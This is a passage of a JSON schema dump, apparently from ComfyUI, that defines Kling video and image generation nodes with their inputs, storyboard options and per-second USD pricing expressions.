"storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "4 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "5 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "6 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_6_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 6. Max 512 characters.", "default": "", "multiline": true}], "storyboard_6_duration": ["INT", {"tooltip": "Duration for storyboard segment 6 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}]}], "generate_audio": ["BOOLEAN", {"tooltip": "Generate audio for the video. Only supported for kling-v3-omni.", "default": false}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "prompt", "aspect_ratio", "duration", "reference_images"], "optional": ["resolution", "storyboards", "generate_audio", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingOmniProImageToVideoNode", "display_name": "Kling 3.0 Omni Image to Video", "description": "Use up to 7 reference images to generate a video with the latest Kling model.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}, {"name": "model_name", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := widgets.resolution;\n $mode := $res = \"4k\" ? \"4k\" : ($res = \"720p\" ? \"std\" : \"pro\");\n $isV3 := $contains(widgets.model_name, \"v3\");\n $audio := $isV3 and widgets.generate_audio;\n $rates := $audio\n ? {\"std\": 0.112, \"pro\": 0.14, \"4k\": 0.42}\n : {\"std\": 0.084, \"pro\": 0.112, \"4k\": 0.42};\n {\"type\":\"usd\",\"usd\": $lookup($rates, $mode) * widgets.duration}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingOmniProVideoToVideoNode": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v3-omni", "kling-video-o1"]}], "prompt": ["STRING", {"tooltip": "A text prompt describing the video content. This can include both positive and negative descriptions.", "multiline": true}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "duration": ["INT", {"default": 3, "min": 3, "max": 10, "display": "slider"}], "reference_video": ["VIDEO", {"tooltip": "Video to use as a reference."}], "keep_original_sound": ["BOOLEAN", {"default": true}]}, "optional": {"reference_images": ["IMAGE", {"tooltip": "Up to 4 additional reference images."}], "resolution": ["COMBO", {"multiselect": false, "options": ["1080p", "720p"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "prompt", "aspect_ratio", "duration", "reference_video", "keep_original_sound"], "optional": ["reference_images", "resolution", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingOmniProVideoToVideoNode", "display_name": "Kling 3.0 Omni Video to Video", "description": "Use a video and up to 4 reference images to generate a video with the latest Kling model.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $mode := (widgets.resolution = \"720p\") ? \"std\" : \"pro\";\n $rates := {\"std\": 0.126, \"pro\": 0.168};\n {\"type\":\"usd\",\"usd\": $lookup($rates, $mode) * widgets.duration}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingOmniProEditVideoNode": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v3-omni", "kling-video-o1"]}], "prompt": ["STRING", {"tooltip": "A text prompt describing the video content. This can include both positive and negative descriptions.", "multiline": true}], "video": ["VIDEO", {"tooltip": "Video for editing. The output video length will be the same."}], "keep_original_sound": ["BOOLEAN", {"default": true}]}, "optional": {"reference_images": ["IMAGE", {"tooltip": "Up to 4 additional reference images."}], "resolution": ["COMBO", {"multiselect": false, "options": ["1080p", "720p"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "prompt", "video", "keep_original_sound"], "optional": ["reference_images", "resolution", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingOmniProEditVideoNode", "display_name": "Kling 3.0 Omni Edit Video", "description": "Edit an existing video with the latest model from Kling.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $mode := (widgets.resolution = \"720p\") ? \"std\" : \"pro\";\n $rates := {\"std\": 0.126, \"pro\": 0.168};\n {\"type\":\"usd\",\"usd\": $lookup($rates, $mode), \"format\":{\"suffix\":\"/second\"}}\n )\n "}, "search_aliases": null, "essentials_category": "Video Generation", "has_intermediate_output": false}, "KlingOmniProImageNode": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v3-omni", "kling-image-o1"]}], "prompt": ["STRING", {"tooltip": "A text prompt describing the image content. This can include both positive and negative descriptions.", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["1K", "2K", "4K"]}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4", "3:2", "2:3", "21:9"]}], "series_amount": ["COMBO", {"tooltip": "Generate a series of images. Not supported for kling-image-o1.", "multiselect": false, "options": ["disabled", "2", "3", "4", "5", "6", "7", "8", "9"]}]}, "optional": {"reference_images": ["IMAGE", {"tooltip": "Up to 10 additional reference images."}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "prompt", "resolution", "aspect_ratio", "series_amount"], "optional": ["reference_images", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingOmniProImageNode", "display_name": "Kling 3.0 Omni Image", "description": "Create or edit images with the latest model from Kling.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/image/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}, {"name": "series_amount", "type": "COMBO"}, {"name": "model_name", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\"1k\": 0.028, \"2k\": 0.028, \"4k\": 0.056};\n $base := $lookup($prices, widgets.resolution);\n $isO1 := widgets.model_name = \"kling-image-o1\";\n $mult := ($isO1 or widgets.series_amount = \"disabled\") ? 1 : $number(widgets.series_amount);\n {\"type\":\"usd\",\"usd\": $base * $mult}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingTextToVideoWithAudio": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v2-6"]}], "prompt": ["STRING", {"tooltip": "Positive text prompt.", "multiline": true}], "mode": ["COMBO", {"multiselect": false, "options": ["pro"]}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "duration": ["COMBO", {"multiselect": false, "options": [5, 10]}], "generate_audio": ["BOOLEAN", {"advanced": true, "default": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "prompt", "mode", "aspect_ratio", "duration", "generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingTextToVideoWithAudio", "display_name": "Kling 2.6 Text to Video with Audio", "description": "", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.07 * widgets.duration * (widgets.generate_audio ? 2 : 1)}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingImageToVideoWithAudio": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v2-6"]}], "start_frame": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Positive text prompt.", "multiline": true}], "mode": ["COMBO", {"multiselect": false, "options": ["pro"]}], "duration": ["COMBO", {"multiselect": false, "options": [5, 10]}], "generate_audio": ["BOOLEAN", {"advanced": true, "default": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "start_frame", "prompt", "mode", "duration", "generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingImageToVideoWithAudio", "display_name": "Kling 2.6 Image(First Frame) to Video with Audio", "description": "", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.07 * widgets.duration * (widgets.generate_audio ? 2 : 1)}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingMotionControl": {"input": {"required": {"prompt": ["STRING", {"multiline": true}], "reference_image": ["IMAGE", {}], "reference_video": ["VIDEO", {"tooltip": "Motion reference video used to drive movement/expression.\nDuration limits depend on character_orientation:\n - image: 3\u201310s (max 10s)\n - video: 3\u201330s (max 30s)"}], "keep_original_sound": ["BOOLEAN", {"default": true}], "character_orientation": ["COMBO", {"tooltip": "Controls where the character's facing/orientation comes from.\nvideo: movements, expressions, camera moves, and orientation follow the motion reference video (other details via prompt).\nimage: movements and expressions still follow the motion reference video, but the character orientation matches the reference image (camera/other details via prompt).", "multiselect": false, "options": ["video", "image"]}], "mode": ["COMBO", {"multiselect": false, "options": ["pro", "std"]}]}, "optional": {"model": ["COMBO", {"multiselect": false, "options": ["kling-v3", "kling-v2-6"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "reference_image", "reference_video", "keep_original_sound", "character_orientation", "mode"], "optional": ["model"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingMotionControl", "display_name": "Kling Motion Control", "description": "", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMBO"}, {"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"kling-v3\": {\"std\": 0.126, \"pro\": 0.168},\n \"kling-v2-6\": {\"std\": 0.07, \"pro\": 0.112}\n };\n $modelPrices := $lookup($prices, widgets.model);\n {\"type\":\"usd\",\"usd\": $lookup($modelPrices, widgets.mode), \"format\":{\"suffix\":\"/second\"}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingVideoNode": {"input": {"required": {"multi_shot": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Generate a series of video segments with individual prompts and durations.", "options": [{"key": "disabled", "inputs": {"required": {"prompt": ["STRING", {"default": "", "multiline": true}], "negative_prompt": ["STRING", {"default": "", "multiline": true}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "display": "slider"}]}}}, {"key": "1 storyboard", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "2 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "3 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "4 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "5 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "6 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_6_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 6. Max 512 characters.", "default": "", "multiline": true}], "storyboard_6_duration": ["INT", {"tooltip": "Duration for storyboard segment 6 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}]}], "generate_audio": ["BOOLEAN", {"tooltip": "'kling-3.0-turbo' always generates native audio, so the audio toggle is ignored.", "default": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model and generation settings.", "options": [{"key": "kling-v3", "inputs": {"required": {"resolution": ["COMBO", {"default": "1080p", "multiselect": false, "options": ["4k", "1080p", "720p"]}], "aspect_ratio": ["COMBO", {"tooltip": "Ignored in image-to-video mode.", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}]}}}, {"key": "kling-3.0-turbo", "inputs": {"required": {"resolution": ["COMBO", {"default": "720p", "multiselect": false, "options": ["1080p", "720p"]}], "aspect_ratio": ["COMBO", {"tooltip": "Ignored in image-to-video mode.", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "optional": {"start_frame": ["IMAGE", {"tooltip": "Optional start frame image. When connected, switches to image-to-video mode."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["multi_shot", "generate_audio", "model", "seed"], "optional": ["start_frame"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingVideoNode", "display_name": "Kling 3.0 Video", "description": "Generate videos with Kling V3. Supports text-to-video and image-to-video with optional storyboard multi-prompt and audio generation.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}, {"name": "multi_shot", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "multi_shot.duration", "type": "INT"}, {"name": "multi_shot.storyboard_1_duration", "type": "INT"}, {"name": "multi_shot.storyboard_2_duration", "type": "INT"}, {"name": "multi_shot.storyboard_3_duration", "type": "INT"}, {"name": "multi_shot.storyboard_4_duration", "type": "INT"}, {"name": "multi_shot.storyboard_5_duration", "type": "INT"}, {"name": "multi_shot.storyboard_6_duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $ms := widgets.multi_shot;\n $isSb := $ms != \"disabled\";\n $n := $isSb ? $number($substring($ms, 0, 1)) : 0;\n $d1 := $lookup(widgets, \"multi_shot.storyboard_1_duration\");\n $d2 := $n >= 2 ? $lookup(widgets, \"multi_shot.storyboard_2_duration\") : 0;\n $d3 := $n >= 3 ? $lookup(widgets, \"multi_shot.storyboard_3_duration\") : 0;\n $d4 := $n >= 4 ? $lookup(widgets, \"multi_shot.storyboard_4_duration\") : 0;\n $d5 := $n >= 5 ? $lookup(widgets, \"multi_shot.storyboard_5_duration\") : 0;\n $d6 := $n >= 6 ? $lookup(widgets, \"multi_shot.storyboard_6_duration\") : 0;\n $dur := $isSb ? $d1 + $d2 + $d3 + $d4 + $d5 + $d6 : $lookup(widgets, \"multi_shot.duration\");\n widgets.model = \"kling-3.0-turbo\"\n ? {\"type\":\"usd\",\"usd\": ($res = \"1080p\" ? 0.14 : 0.112) * $dur}\n : (\n $rates := {\n \"4k\": {\"off\": 0.42, \"on\": 0.42},\n \"1080p\": {\"off\": 0.112, \"on\": 0.168},\n \"720p\": {\"off\": 0.084, \"on\": 0.126}\n };\n $audio := widgets.generate_audio ? \"on\" : \"off\";\n $rate := $lookup($lookup($rates, $res), $audio);\n {\"type\":\"usd\",\"usd\": $rate * $dur}\n )\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingFirstLastFrameNode": {"input": {"required": {"prompt": ["STRING", {"default": "", "multiline": true}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "display": "slider"}], "first_frame": ["IMAGE", {}], "end_frame": ["IMAGE", {}], "generate_audio": ["BOOLEAN", {"default": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model and generation settings.", "options": [{"key": "kling-v3", "inputs": {"required": {"resolution": ["COMBO", {"default": "1080p", "multiselect": false, "options": ["4k", "1080p", "720p"]}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "duration", "first_frame", "end_frame", "generate_audio", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, 